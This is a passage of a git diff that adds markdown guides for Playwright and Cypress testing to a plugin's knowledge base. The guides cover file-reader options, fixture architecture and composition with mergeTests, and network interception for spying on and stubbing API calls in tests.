+| -------------- | ------------------ | -------- | -------------------------------------- |
+| `filePath`     | `string`           | -        | Path to CSV file (mutually exclusive)  |
+| `content`      | `string \| Buffer` | -        | Direct content (mutually exclusive)    |
+| `delimiter`    | `string \| 'auto'` | `','`    | Value separator, auto-detect if 'auto' |
+| `encoding`     | `string`           | `'utf8'` | File encoding                          |
+| `parseHeaders` | `boolean`          | `true`   | Use first row as headers               |
+| `trim`         | `boolean`          | `true`   | Trim whitespace from values            |
+
+### XLSX Reader Options
+
+| Option      | Type     | Description                    |
+| ----------- | -------- | ------------------------------ |
+| `filePath`  | `string` | Path to XLSX file              |
+| `sheetName` | `string` | Name of sheet to set as active |
+
+### PDF Reader Options
+
+| Option       | Type      | Default | Description                 |
+| ------------ | --------- | ------- | --------------------------- |
+| `filePath`   | `string`  | -       | Path to PDF file (required) |
+| `mergePages` | `boolean` | `true`  | Merge text from all pages   |
+| `maxPages`   | `number`  | -       | Maximum pages to extract    |
+| `debug`      | `boolean` | `false` | Enable debug logging        |
+
+### ZIP Reader Options
+
+| Option          | Type     | Description                        |
+| --------------- | -------- | ---------------------------------- |
+| `filePath`      | `string` | Path to ZIP file                   |
+| `fileToExtract` | `string` | Specific file to extract to Buffer |
+
+### Return Values
+
+#### CSV Reader Return Value
+
+```typescript
+{
+  content: {
+    data: Array<Array<string | number>>,  // Parsed rows (excludes header row if parseHeaders: true)
+    headers: string[] | null              // Column headers (null if parseHeaders: false)
+  }
+}
+```
+
+#### XLSX Reader Return Value
+
+```typescript
+{
+  content: {
+    worksheets: Array<{
+      name: string; // Sheet name
+      rows: Array<Array<any>>; // All rows including headers
+      headers?: string[]; // First row as headers (if present)
+    }>;
+  }
+}
+```
+
+#### PDF Reader Return Value
+
+```typescript
+{
+  content: string,                        // Extracted text (merged or per-page based on mergePages)
+  pagesCount: number,                     // Total pages in PDF
+  fileName?: string,                      // Original filename if available
+  info?: Record<string, any>              // PDF metadata (author, title, etc.)
+}
+```
+
+> **Note**: When `mergePages: false`, `content` is an array of strings (one per page). When `maxPages` is set, only that many pages are extracted.
+
+#### ZIP Reader Return Value
+
+```typescript
+{
+  content: {
+    entries: Array<{
+      name: string,                       // File/directory path within ZIP
+      size: number,                       // Uncompressed size in bytes
+      isDirectory: boolean                // True for directories
+    }>,
+    extractedFiles: Record<string, Buffer | string>  // Extracted file contents by path
+  }
+}
+```
+
+> **Note**: When `fileToExtract` is specified, only that file appears in `extractedFiles`.
+
+## Download Cleanup Pattern
+
+```typescript
+test.afterEach(async () => {
+  // Clean up downloaded files
+  await fs.remove(DOWNLOAD_DIR);
+});
+```
+
+## Comparison with Vanilla Playwright
+
+Vanilla Playwright (real test) snippet:
+
+```typescript
+// ~80 lines of boilerplate!
+const [download] = await Promise.all([page.waitForEvent('download'), page.getByTestId('download-button-CSV Export').click()]);
+
+const failure = await download.failure();
+expect(failure).toBeNull();
+
+const filePath = testInfo.outputPath(download.suggestedFilename());
+await download.saveAs(filePath);
+
+await expect
+  .poll(
+    async () => {
+      try {
+        await fs.access(filePath);
+        return true;
+      } catch {
+        return false;
+      }
+    },
+    { timeout: 5000, intervals: [100, 200, 500] },
+  )
+  .toBe(true);
+
+const csvContent = await fs.readFile(filePath, 'utf-8');
+
+const parseResult = parse(csvContent, {
+  header: true,
+  skipEmptyLines: true,
+  dynamicTyping: true,
+  transformHeader: (header: string) => header.trim(),
+});
+
+if (parseResult.errors.length > 0) {
+  throw new Error(`CSV parsing errors: ${JSON.stringify(parseResult.errors)}`);
+}
+
+const data = parseResult.data as Array<Record<string, unknown>>;
+const headers = parseResult.meta.fields || [];
+```
+
+With File Utils, the same flow becomes:
+
+```typescript
+const downloadPath = await handleDownload({
+  page,
+  downloadDir: DOWNLOAD_DIR,
+  trigger: () => page.getByTestId('download-button-text/csv').click(),
+});
+
+const { data, headers } = (await readCSV({ filePath: downloadPath })).content;
+```
+
+## Related Fragments
+
+- `overview.md` - Installation and imports
+- `api-request.md` - API-triggered downloads
+- `recurse.md` - Poll for file generation completion
+
+## Anti-Patterns
+
+**DON'T leave downloads in place:**
+
+```typescript
+test('creates file', async () => {
+  await handleDownload({ ... })
+  // File left in downloads folder
+})
+```
+
+**DO clean up after tests:**
+
+```typescript
+test.afterEach(async () => {
+  await fs.remove(DOWNLOAD_DIR);
+});
+```
diff --git a/plugins/bmad/skills/bmad-testarch-nfr/resources/knowledge/fixture-architecture.md b/plugins/bmad/skills/bmad-testarch-nfr/resources/knowledge/fixture-architecture.md
new file mode 100644
index 0000000..0f617a4
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-nfr/resources/knowledge/fixture-architecture.md
@@ -0,0 +1,401 @@
+# Fixture Architecture Playbook
+
+## Principle
+
+Build test helpers as pure functions first, then wrap them in framework-specific fixtures. Compose capabilities using `mergeTests` (Playwright) or layered commands (Cypress) instead of inheritance. Each fixture should solve one isolated concern (auth, API, logs, network).
+
+## Rationale
+
+Traditional Page Object Models create tight coupling through inheritance chains (`BasePage → LoginPage → AdminPage`). When base classes change, all descendants break. Pure functions with fixture wrappers provide:
+
+- **Testability**: Pure functions run in unit tests without framework overhead
+- **Composability**: Mix capabilities freely via `mergeTests`, no inheritance constraints
+- **Reusability**: Export fixtures via package subpaths for cross-project sharing
+- **Maintainability**: One concern per fixture = clear responsibility boundaries
+
+## Pattern Examples
+
+### Example 1: Pure Function → Fixture Pattern
+
+**Context**: When building any test helper, always start with a pure function that accepts all dependencies explicitly. Then wrap it in a Playwright fixture or Cypress command.
+
+**Implementation**:
+
+```typescript
+// playwright/support/helpers/api-request.ts
+// Step 1: Pure function (ALWAYS FIRST!)
+type ApiRequestParams = {
+  request: APIRequestContext;
+  method: 'GET' | 'POST' | 'PUT' | 'DELETE';
+  url: string;
+  data?: unknown;
+  headers?: Record<string, string>;
+};
+
+export async function apiRequest({
+  request,
+  method,
+  url,
+  data,
+  headers = {}
+}: ApiRequestParams) {
+  const response = await request.fetch(url, {
+    method,
+    data,
+    headers: {
+      'Content-Type': 'application/json',
+      ...headers
+    }
+  });
+
+  if (!response.ok()) {
+    throw new Error(`API request failed: ${response.status()} ${await response.text()}`);
+  }
+
+  return response.json();
+}
+
+// Step 2: Fixture wrapper
+// playwright/support/fixtures/api-request-fixture.ts
+import { test as base } from '@playwright/test';
+import { apiRequest } from '../helpers/api-request';
+
+export const test = base.extend<{ apiRequest: typeof apiRequest }>({
+  apiRequest: async ({ request }, use) => {
+    // Inject framework dependency, expose pure function
+    await use((params) => apiRequest({ request, ...params }));
+  }
+});
+
+// Step 3: Package exports for reusability
+// package.json
+{
+  "exports": {
+    "./api-request": "./playwright/support/helpers/api-request.ts",
+    "./api-request/fixtures": "./playwright/support/fixtures/api-request-fixture.ts"
+  }
+}
+```
+
+**Key Points**:
+
+- Pure function is unit-testable without Playwright running
+- Framework dependency (`request`) injected at fixture boundary
+- Fixture exposes the pure function to test context
+- Package subpath exports enable `import { apiRequest } from 'my-fixtures/api-request'`
+
+### Example 2: Composable Fixture System with mergeTests
+
+**Context**: When building comprehensive test capabilities, compose multiple focused fixtures instead of creating monolithic helper classes. Each fixture provides one capability.
+
+**Implementation**:
+
+```typescript
+// playwright/support/fixtures/merged-fixtures.ts
+import { test as base, mergeTests } from '@playwright/test';
+import { test as apiRequestFixture } from './api-request-fixture';
+import { test as networkFixture } from './network-fixture';
+import { test as authFixture } from './auth-fixture';
+import { test as logFixture } from './log-fixture';
+
+// Compose all fixtures for comprehensive capabilities
+export const test = mergeTests(base, apiRequestFixture, networkFixture, authFixture, logFixture);
+
+export { expect } from '@playwright/test';
+
+// Example usage in tests:
+// import { test, expect } from './support/fixtures/merged-fixtures';
+//
+// test('user can create order', async ({ page, apiRequest, auth, network }) => {
+//   await auth.loginAs('customer@example.com');
+//   await network.interceptRoute('POST', '**/api/orders', { id: 123 });
+//   await page.goto('/checkout');
+//   await page.click('[data-testid="submit-order"]');
+//   await expect(page.getByText('Order #123')).toBeVisible();
+// });
+```
+
+**Individual Fixture Examples**:
+
+```typescript
+// network-fixture.ts
+export const test = base.extend({
+  network: async ({ page }, use) => {
+    const interceptedRoutes = new Map();
+
+    const interceptRoute = async (method: string, url: string, response: unknown) => {
+      await page.route(url, (route) => {
+        if (route.request().method() === method) {
+          route.fulfill({ body: JSON.stringify(response) });
+        }
+      });
+      interceptedRoutes.set(`${method}:${url}`, response);
+    };
+
+    await use({ interceptRoute });
+
+    // Cleanup
+    interceptedRoutes.clear();
+  },
+});
+
+// auth-fixture.ts
+export const test = base.extend({
+  auth: async ({ page, context }, use) => {
+    const loginAs = async (email: string) => {
+      // Use API to setup auth (fast!)
+      const token = await getAuthToken(email);
+      await context.addCookies([
+        {
+          name: 'auth_token',
+          value: token,
+          domain: 'localhost',
+          path: '/',
+        },
+      ]);
+    };
+
+    await use({ loginAs });
+  },
+});
+```
+
+**Key Points**:
+
+- `mergeTests` combines fixtures without inheritance
+- Each fixture has single responsibility (network, auth, logs)
+- Tests import merged fixture and access all capabilities
+- No coupling between fixtures—add/remove freely
+
+### Example 3: Framework-Agnostic HTTP Helper
+
+**Context**: When building HTTP helpers, keep them framework-agnostic. Accept all params explicitly so they work in unit tests, Playwright, Cypress, or any context.
+
+**Implementation**:
+
+```typescript
+// shared/helpers/http-helper.ts
+// Pure, framework-agnostic function
+type HttpHelperParams = {
+  baseUrl: string;
+  endpoint: string;
+  method: 'GET' | 'POST' | 'PUT' | 'DELETE';
+  body?: unknown;
+  headers?: Record<string, string>;
+  token?: string;
+};
+
+export async function makeHttpRequest({ baseUrl, endpoint, method, body, headers = {}, token }: HttpHelperParams): Promise<unknown> {
+  const url = `${baseUrl}${endpoint}`;
+  const requestHeaders = {
+    'Content-Type': 'application/json',
+    ...(token && { Authorization: `Bearer ${token}` }),
+    ...headers,
+  };
+
+  const response = await fetch(url, {
+    method,
+    headers: requestHeaders,
+    body: body ? JSON.stringify(body) : undefined,
+  });
+
+  if (!response.ok) {
+    const errorText = await response.text();
+    throw new Error(`HTTP ${method} ${url} failed: ${response.status} ${errorText}`);
+  }
+
+  return response.json();
+}
+
+// Playwright fixture wrapper
+// playwright/support/fixtures/http-fixture.ts
+import { test as base } from '@playwright/test';
+import { makeHttpRequest } from '../../shared/helpers/http-helper';
+
+export const test = base.extend({
+  httpHelper: async ({}, use) => {
+    const baseUrl = process.env.API_BASE_URL || 'http://localhost:3000';
+
+    await use((params) => makeHttpRequest({ baseUrl, ...params }));
+  },
+});
+
+// Cypress command wrapper
+// cypress/support/commands.ts
+import { makeHttpRequest } from '../../shared/helpers/http-helper';
+
+Cypress.Commands.add('apiRequest', (params) => {
+  const baseUrl = Cypress.env('API_BASE_URL') || 'http://localhost:3000';
+  return cy.wrap(makeHttpRequest({ baseUrl, ...params }));
+});
+```
+
+**Key Points**:
+
+- Pure function uses only standard `fetch`, no framework dependencies
+- Unit tests call `makeHttpRequest` directly with all params
+- Playwright and Cypress wrappers inject framework-specific config
+- Same logic runs everywhere—zero duplication
+
+### Example 4: Fixture Cleanup Pattern
+
+**Context**: When fixtures create resources (data, files, connections), ensure automatic cleanup in fixture teardown. Tests must not leak state.
+
+**Implementation**:
+
+```typescript
+// playwright/support/fixtures/database-fixture.ts
+import { test as base } from '@playwright/test';
+import { seedDatabase, deleteRecord } from '../helpers/db-helpers';
+
+type DatabaseFixture = {
+  seedUser: (userData: Partial<User>) => Promise<User>;
+  seedOrder: (orderData: Partial<Order>) => Promise<Order>;
+};
+
+export const test = base.extend<DatabaseFixture>({
+  seedUser: async ({}, use) => {
+    const createdUsers: string[] = [];
+
+    const seedUser = async (userData: Partial<User>) => {
+      const user = await seedDatabase('users', userData);
+      createdUsers.push(user.id);
+      return user;
+    };
+
+    await use(seedUser);
+
+    // Auto-cleanup: Delete all users created during test
+    for (const userId of createdUsers) {
+      await deleteRecord('users', userId);
+    }
+    createdUsers.length = 0;
+  },
+
+  seedOrder: async ({}, use) => {
+    const createdOrders: string[] = [];
+
+    const seedOrder = async (orderData: Partial<Order>) => {
+      const order = await seedDatabase('orders', orderData);
+      createdOrders.push(order.id);
+      return order;
+    };
+
+    await use(seedOrder);
+
+    // Auto-cleanup: Delete all orders
+    for (const orderId of createdOrders) {
+      await deleteRecord('orders', orderId);
+    }
+    createdOrders.length = 0;
+  },
+});
+
+// Example usage:
+// test('user can place order', async ({ seedUser, seedOrder, page }) => {
+//   const user = await seedUser({ email: 'test@example.com' });
+//   const order = await seedOrder({ userId: user.id, total: 100 });
+//
+//   await page.goto(`/orders/${order.id}`);
+//   await expect(page.getByText('Order Total: $100')).toBeVisible();
+//
+//   // No manual cleanup needed—fixture handles it automatically
+// });
+```
+
+**Key Points**:
+
+- Track all created resources in array during test execution
+- Teardown (after `use()`) deletes all tracked resources
+- Tests don't manually clean up—happens automatically
+- Prevents test pollution and flakiness from shared state
+
+### Anti-Pattern: Inheritance-Based Page Objects
+
+**Problem**:
+
+```typescript
+// ❌ BAD: Page Object Model with inheritance
+class BasePage {
+  constructor(public page: Page) {}
+
+  async navigate(url: string) {
+    await this.page.goto(url);
+  }
+
+  async clickButton(selector: string) {
+    await this.page.click(selector);
+  }
+}
+
+class LoginPage extends BasePage {
+  async login(email: string, password: string) {
+    await this.navigate('/login');
+    await this.page.fill('#email', email);
+    await this.page.fill('#password', password);
+    await this.clickButton('#submit');
+  }
+}
+
+class AdminPage extends LoginPage {
+  async accessAdminPanel() {
+    await this.login('admin@example.com', 'admin123');
+    await this.navigate('/admin');
+  }
+}
+```
+
+**Why It Fails**:
+
+- Changes to `BasePage` break all descendants (`LoginPage`, `AdminPage`)
+- `AdminPage` inherits unnecessary `login` details—tight coupling
+- Cannot compose capabilities (e.g., admin + reporting features require multiple inheritance)
+- Hard to test `BasePage` methods in isolation
+- Hidden state in class instances leads to unpredictable behavior
+
+**Better Approach**: Use pure functions + fixtures
+
+```typescript
+// ✅ GOOD: Pure functions with fixture composition
+// helpers/navigation.ts
+export async function navigate(page: Page, url: string) {
+  await page.goto(url);
+}
+
+// helpers/auth.ts
+export async function login(page: Page, email: string, password: string) {
+  await page.fill('[data-testid="email"]', email);
+  await page.fill('[data-testid="password"]', password);
+  await page.click('[data-testid="submit"]');
+}
+
+// fixtures/admin-fixture.ts
+export const test = base.extend({
+  adminPage: async ({ page }, use) => {
+    await login(page, 'admin@example.com', 'admin123');
+    await navigate(page, '/admin');
+    await use(page);
+  },
+});
+
+// Tests import exactly what they need—no inheritance
+```
+
+## Integration Points
+
+- **Used in workflows**: `*atdd` (test generation), `*automate` (test expansion), `*framework` (initial setup)
+- **Related fragments**:
+  - `data-factories.md` - Factory functions for test data
+  - `network-first.md` - Network interception patterns
+  - `test-quality.md` - Deterministic test design principles
+
+## Helper Function Reuse Guidelines
+
+When deciding whether to create a fixture, follow these rules:
+
+- **3+ uses** → Create fixture with subpath export (shared across tests/projects)
+- **2-3 uses** → Create utility module (shared within project)
+- **1 use** → Keep inline (avoid premature abstraction)
+- **Complex logic** → Factory function pattern (dynamic data generation)
+
+_Source: Murat Testing Philosophy (lines 74-122), enterprise production patterns, Playwright fixture docs._
diff --git a/plugins/bmad/skills/bmad-testarch-nfr/resources/knowledge/fixtures-composition.md b/plugins/bmad/skills/bmad-testarch-nfr/resources/knowledge/fixtures-composition.md
new file mode 100644
index 0000000..93d14d0
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-nfr/resources/knowledge/fixtures-composition.md
@@ -0,0 +1,382 @@
+# Fixtures Composition with mergeTests
+
+## Principle
+
+Combine multiple Playwright fixtures using `mergeTests` to create a unified test object with all capabilities. Build composable test infrastructure by merging playwright-utils fixtures with custom project fixtures.
+
+## Rationale
+
+Using fixtures from multiple sources requires combining them:
+
+- Importing from multiple fixture files is verbose
+- Name conflicts between fixtures
+- Duplicate fixture definitions
+- No clear single test object
+
+Playwright's `mergeTests` provides:
+
+- **Single test object**: All fixtures in one import
+- **Conflict resolution**: Handles name collisions automatically
+- **Composition pattern**: Mix utilities, custom fixtures, third-party fixtures
+- **Type safety**: Full TypeScript support for merged fixtures
+- **Maintainability**: One place to manage all fixtures
+
+## Pattern Examples
+
+### Example 1: Basic Fixture Merging
+
+**Context**: Combine multiple playwright-utils fixtures into single test object.
+
+**Implementation**:
+
+```typescript
+// playwright/support/merged-fixtures.ts
+import { mergeTests } from '@playwright/test';
+import { test as apiRequestFixture } from '@seontechnologies/playwright-utils/api-request/fixtures';
+import { test as authFixture } from '@seontechnologies/playwright-utils/auth-session/fixtures';
+import { test as recurseFixture } from '@seontechnologies/playwright-utils/recurse/fixtures';
+
+// Merge all fixtures
+export const test = mergeTests(apiRequestFixture, authFixture, recurseFixture);
+
+export { expect } from '@playwright/test';
+```
+
+```typescript
+// In your tests - import from merged fixtures
+import { test, expect } from '../support/merged-fixtures';
+
+test('all utilities available', async ({
+  apiRequest, // From api-request fixture
+  authToken, // From auth fixture
+  recurse, // From recurse fixture
+}) => {
+  // All fixtures available in single test signature
+  const { body } = await apiRequest({
+    method: 'GET',
+    path: '/api/protected',
+    headers: { Authorization: `Bearer ${authToken}` },
+  });
+
+  await recurse(
+    () => apiRequest({ method: 'GET', path: `/status/${body.id}` }),
+    (res) => res.body.ready === true,
+  );
+});
+```
+
+**Key Points**:
+
+- Create one `merged-fixtures.ts` per project
+- Import test object from merged fixtures in all test files
+- All utilities available without multiple imports
+- Type-safe access to all fixtures
+
+### Example 2: Combining with Custom Fixtures
+
+**Context**: Add project-specific fixtures alongside playwright-utils.
+
+**Implementation**:
+
+```typescript
+// playwright/support/custom-fixtures.ts - Your project fixtures
+import { test as base } from '@playwright/test';
+import { createUser } from './factories/user-factory';
+import { seedDatabase } from './helpers/db-seeder';
+
+export const test = base.extend({
+  // Custom fixture 1: Auto-seeded user
+  testUser: async ({ request }, use) => {
+    const user = await createUser({ role: 'admin' });
+    await seedDatabase('users', [user]);
+    await use(user);
+    // Cleanup happens automatically
+  },
+
+  // Custom fixture 2: Database helpers
+  db: async ({}, use) => {
+    await use({
+      seed: seedDatabase,
+      clear: () => seedDatabase.truncate(),
+    });
+  },
+});
+
+// playwright/support/merged-fixtures.ts - Combine everything
+import { mergeTests } from '@playwright/test';
+import { test as apiRequestFixture } from '@seontechnologies/playwright-utils/api-request/fixtures';
+import { test as authFixture } from '@seontechnologies/playwright-utils/auth-session/fixtures';
+import { test as customFixtures } from './custom-fixtures';
+
+export const test = mergeTests(
+  apiRequestFixture,
+  authFixture,
+  customFixtures, // Your project fixtures
+);
+
+export { expect } from '@playwright/test';
+```
+
+```typescript
+// In tests - all fixtures available
+import { test, expect } from '../support/merged-fixtures';
+
+test('using mixed fixtures', async ({
+  apiRequest, // playwright-utils
+  authToken, // playwright-utils
+  testUser, // custom
+  db, // custom
+}) => {
+  // Use playwright-utils
+  const { body } = await apiRequest({
+    method: 'GET',
+    path: `/api/users/${testUser.id}`,
+    headers: { Authorization: `Bearer ${authToken}` },
+  });
+
+  // Use custom fixture
+  await db.clear();
+});
+```
+
+**Key Points**:
+
+- Custom fixtures extend `base` test
+- Merge custom with playwright-utils fixtures
+- All available in one test signature
+- Maintainable separation of concerns
+
+### Example 3: Full Utility Suite Integration
+
+**Context**: Production setup with all core playwright-utils and custom fixtures.
+
+**Implementation**:
+
+```typescript
+// playwright/support/merged-fixtures.ts
+import { mergeTests } from '@playwright/test';
+
+// Playwright utils fixtures
+import { test as apiRequestFixture } from '@seontechnologies/playwright-utils/api-request/fixtures';
+import { test as authFixture } from '@seontechnologies/playwright-utils/auth-session/fixtures';
+import { test as interceptFixture } from '@seontechnologies/playwright-utils/intercept-network-call/fixtures';
+import { test as recurseFixture } from '@seontechnologies/playwright-utils/recurse/fixtures';
+import { test as networkRecorderFixture } from '@seontechnologies/playwright-utils/network-recorder/fixtures';
+
+// Custom project fixtures
+import { test as customFixtures } from './custom-fixtures';
+
+// Merge everything
+export const test = mergeTests(apiRequestFixture, authFixture, interceptFixture, recurseFixture, networkRecorderFixture, customFixtures);
+
+export { expect } from '@playwright/test';
+```
+
+```typescript
+// In tests
+import { test, expect } from '../support/merged-fixtures';
+
+test('full integration', async ({
+  page,
+  context,
+  apiRequest,
+  authToken,
+  interceptNetworkCall,
+  recurse,
+  networkRecorder,
+  testUser, // custom
+}) => {
+  // All utilities + custom fixtures available
+  await networkRecorder.setup(context);
+
+  const usersCall = interceptNetworkCall({ url: '**/api/users' });
+
+  await page.goto('/users');
+  const { responseJson } = await usersCall;
+
+  expect(responseJson).toContainEqual(expect.objectContaining({ id: testUser.id }));
+});
+```
+
+**Key Points**:
+
+- One merged-fixtures.ts for entire project
+- Combine all playwright-utils you use
+- Add custom project fixtures
+- Single import in all test files
+
+### Example 4: Fixture Override Pattern
+
+**Context**: Override default options for specific test files or describes.
+
+**Implementation**:
+
+```typescript
+import { test, expect } from '../support/merged-fixtures';
+
+// Override auth options for entire file
+test.use({
+  authOptions: {
+    userIdentifier: 'admin',
+    environment: 'staging',
+  },
+});
+
+test('uses admin on staging', async ({ authToken }) => {
+  // Token is for admin user on staging environment
+});
+
+// Override for specific describe block
+test.describe('manager tests', () => {
+  test.use({
+    authOptions: {
+      userIdentifier: 'manager',
+    },
+  });
+
+  test('manager can access reports', async ({ page }) => {
+    // Uses manager token
+    await page.goto('/reports');
+  });
+});
+```
+
+**Key Points**:
+
+- `test.use()` overrides fixture options
+- Can override at file or describe level
+- Options merge with defaults
+- Type-safe overrides
+
+### Example 5: Avoiding Fixture Conflicts
+
+**Context**: Handle name collisions when merging fixtures with same names.
+
+**Implementation**:
+
+```typescript
+// If two fixtures have same name, last one wins
+import { test as fixture1 } from './fixture1'; // has 'user' fixture
+import { test as fixture2 } from './fixture2'; // also has 'user' fixture
+
+const test = mergeTests(fixture1, fixture2);
+// fixture2's 'user' overrides fixture1's 'user'
+
+// Better: Rename fixtures before merging
+import { test as base } from '@playwright/test';
+import { test as fixture1 } from './fixture1';
+
+const fixture1Renamed = base.extend({
+  user1: fixture1._extend.user, // Rename to avoid conflict
+});
+
+const test = mergeTests(fixture1Renamed, fixture2);
+// Now both 'user1' and 'user' available
+
+// Best: Design fixtures without conflicts
+// - Prefix custom fixtures: 'myAppUser', 'myAppDb'
+// - Playwright-utils uses descriptive names: 'apiRequest', 'authToken'
+```
+
+**Key Points**:
+
+- Last fixture wins in conflicts
+- Rename fixtures to avoid collisions
+- Design fixtures with unique names
+- Playwright-utils uses descriptive names (no conflicts)
+
+## Recommended Project Structure
+
+```
+playwright/
+├── support/
+│   ├── merged-fixtures.ts        # ⭐ Single test object for project
+│   ├── custom-fixtures.ts        # Your project-specific fixtures
+│   ├── auth/
+│   │   ├── auth-fixture.ts       # Auth wrapper (if needed)
+│   │   └── custom-auth-provider.ts
+│   ├── fixtures/
+│   │   ├── user-fixture.ts
+│   │   ├── db-fixture.ts
+│   │   └── api-fixture.ts
+│   └── utils/
+│       └── factories/
+└── tests/
+    ├── api/
+    │   └── users.spec.ts          # import { test } from '../../support/merged-fixtures'
+    ├── e2e/
+    │   └── login.spec.ts          # import { test } from '../../support/merged-fixtures'
+    └── component/
+        └── button.spec.ts         # import { test } from '../../support/merged-fixtures'
+```
+
+## Benefits of Fixture Composition
+
+**Compared to direct imports:**
+
+```typescript
+// ❌ Without mergeTests (verbose)
+import { test as base } from '@playwright/test';
+import { apiRequest } from '@seontechnologies/playwright-utils/api-request';
+import { getAuthToken } from './auth';
+import { createUser } from './factories';
+
+test('verbose', async ({ request }) => {
+  const token = await getAuthToken();
+  const user = await createUser();
+  const response = await apiRequest({ request, method: 'GET', path: '/api/users' });
+  // Manual wiring everywhere
+});
+
+// ✅ With mergeTests (clean)
+import { test } from '../support/merged-fixtures';
+
+test('clean', async ({ apiRequest, authToken, testUser }) => {
+  const { body } = await apiRequest({ method: 'GET', path: '/api/users' });
+  // All fixtures auto-wired
+});
+```
+
+**Reduction:** ~10 lines per test → ~2 lines
+
+## Related Fragments
+
+- `overview.md` - Installation and design principles
+- `api-request.md`, `auth-session.md`, `recurse.md` - Utilities to merge
+- `network-recorder.md`, `intercept-network-call.md`, `log.md` - Additional utilities
+
+## Anti-Patterns
+
+**❌ Importing test from multiple fixture files:**
+
+```typescript
+import { test } from '@seontechnologies/playwright-utils/api-request/fixtures';
+// Also need auth...
+import { test as authTest } from '@seontechnologies/playwright-utils/auth-session/fixtures';
+// Name conflict! Which test to use?
+```
+
+**✅ Use merged fixtures:**
+
+```typescript
+import { test } from '../support/merged-fixtures';
+// All utilities available, no conflicts
+```
+
+**❌ Merging too many fixtures (kitchen sink):**
+
+```typescript
+// Merging 20+ fixtures makes test signature huge
+const test = mergeTests(...20 different fixtures)
+
+test('my test', async ({ fixture1, fixture2, ..., fixture20 }) => {
+  // Cognitive overload
+})
+```
+
+**✅ Merge only what you actually use:**
+
+```typescript
+// Merge the 4-6 fixtures your project actually needs
+const test = mergeTests(apiRequestFixture, authFixture, recurseFixture, customFixtures);
+```
diff --git a/plugins/bmad/skills/bmad-testarch-nfr/resources/knowledge/intercept-network-call.md b/plugins/bmad/skills/bmad-testarch-nfr/resources/knowledge/intercept-network-call.md
new file mode 100644
index 0000000..8c892d2
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-nfr/resources/knowledge/intercept-network-call.md
@@ -0,0 +1,426 @@
+# Intercept Network Call Utility
+
+## Principle
+
+Intercept network requests with a single declarative call that returns a Promise. Automatically parse JSON responses, support both spy (observe) and stub (mock) patterns, and use powerful glob pattern matching for URL filtering.
+
+## Rationale
+
+Vanilla Playwright's network interception requires multiple steps:
+
+- `page.route()` to setup, `page.waitForResponse()` to capture
+- Manual JSON parsing
+- Verbose syntax for conditional handling
+- Complex filter predicates
+
+The `interceptNetworkCall` utility provides:
+
+- **Single declarative call**: Setup and wait in one statement
+- **Automatic JSON parsing**: Response pre-parsed, strongly typed
+- **Flexible URL patterns**: Glob matching with picomatch
+- **Spy or stub modes**: Observe real traffic or mock responses
+- **Concise API**: Reduces boilerplate by 60-70%
+
+## Pattern Examples
+
+### Example 1: Spy on Network (Observe Real Traffic)
+
+**Context**: Capture and inspect real API responses for validation.
+
+**Implementation**:
+
+```typescript
+import { test } from '@seontechnologies/playwright-utils/intercept-network-call/fixtures';
+
+test('should spy on users API', async ({ page, interceptNetworkCall }) => {
+  // Setup interception BEFORE navigation
+  const usersCall = interceptNetworkCall({
+    url: '**/api/users', // Glob pattern
+  });
+
+  await page.goto('/dashboard');
+
+  // Wait for response and access parsed data
+  const { responseJson, status } = await usersCall;
+
+  expect(status).toBe(200);
+  expect(responseJson).toHaveLength(10);
+  expect(responseJson[0]).toHaveProperty('name');
+});
+```
+
+**Key Points**:
+
+- Intercept before navigation (critical for race-free tests)
+- Returns Promise with `{ responseJson, status, requestBody }`
+- Glob patterns (`**` matches any path segment)
+- JSON automatically parsed
+
+### Example 2: Stub Network (Mock Response)
+
+**Context**: Mock API responses for testing UI behavior without backend.
+
+**Implementation**:
+
+```typescript
+test('should stub users API', async ({ page, interceptNetworkCall }) => {
+  const mockUsers = [
+    { id: 1, name: 'Test User 1' },
+    { id: 2, name: 'Test User 2' },
+  ];
+
+  const usersCall = interceptNetworkCall({
+    url: '**/api/users',
+    fulfillResponse: {
+      status: 200,
+      body: mockUsers,
+    },
+  });
+
+  await page.goto('/dashboard');
+  await usersCall;
+
+  // UI shows mocked data
+  await expect(page.getByText('Test User 1')).toBeVisible();
+  await expect(page.getByText('Test User 2')).toBeVisible();
+});
+```
+
+**Key Points**:
+
+- `fulfillResponse` mocks the API
+- No backend needed
+- Test UI logic in isolation
+- Status code and body fully controllable
+
+### Example 3: Conditional Response Handling
+
+**Context**: Different responses based on request method or parameters.
+
+**Implementation**:
+
+```typescript
+test('conditional mocking', async ({ page, interceptNetworkCall }) => {
+  await interceptNetworkCall({
+    url: '**/api/data',
+    handler: async (route, request) => {
+      if (request.method() === 'POST') {
+        // Mock POST success
+        await route.fulfill({
+          status: 201,
+          body: JSON.stringify({ id: 'new-id', success: true }),
+        });
+      } else if (request.method() === 'GET') {
+        // Mock GET with data
+        await route.fulfill({
+          status: 200,
+          body: JSON.stringify([{ id: 1, name: 'Item' }]),
+        });
+      } else {
+        // Let other methods through
+        await route.continue();
+      }
+    },
+  });
+
+  await page.goto('/data-page');
+});
+```
+
+**Key Points**:
+
+- `handler` function for complex logic
+- Access full `route` and `request` objects
+- Can mock, continue, or abort
+- Flexible for advanced scenarios
+
+### Example 4: Error Simulation
+
+**Context**: Testing error handling in UI when API fails.
+
+**Implementation**:
+
+```typescript
+test('should handle API errors gracefully', async ({ page, interceptNetworkCall }) => {
+  // Simulate 500 error
+  const errorCall = interceptNetworkCall({
+    url: '**/api/users',
+    fulfillResponse: {
+      status: 500,
+      body: { error: 'Internal Server Error' },
+    },
+  });
+
+  await page.goto('/dashboard');
+  await errorCall;
+
+  // Verify UI shows error state
+  await expect(page.getByText('Failed to load users')).toBeVisible();
+  await expect(page.getByTestId('retry-button')).toBeVisible();
+});
+
+// Simulate network timeout
+test('should handle timeout', async ({ page, interceptNetworkCall }) => {
+  await interceptNetworkCall({
+    url: '**/api/slow',
+    handler: async (route) => {
+      // Never respond - simulates timeout
+      await new Promise(() => {});
+    },
+  });
+
+  await page.goto('/slow-page');
+
+  // UI should show timeout error
+  await expect(page.getByText('Request timed out')).toBeVisible({ timeout: 10000 });
+});
+```
+
+**Key Points**:
+
+- Mock error statuses (4xx, 5xx)
+- Test timeout scenarios
+- Validate error UI states
+- No real failures needed
+
+### Example 5: Order Matters - Intercept Before Navigate
+
+**Context**: The interceptor must be set up before the network request occurs.
+
+**Implementation**:
+
+```typescript
+// INCORRECT - interceptor set up too late
+await page.goto('https://example.com'); // Request already happened
+const networkCall = interceptNetworkCall({ url: '**/api/data' });
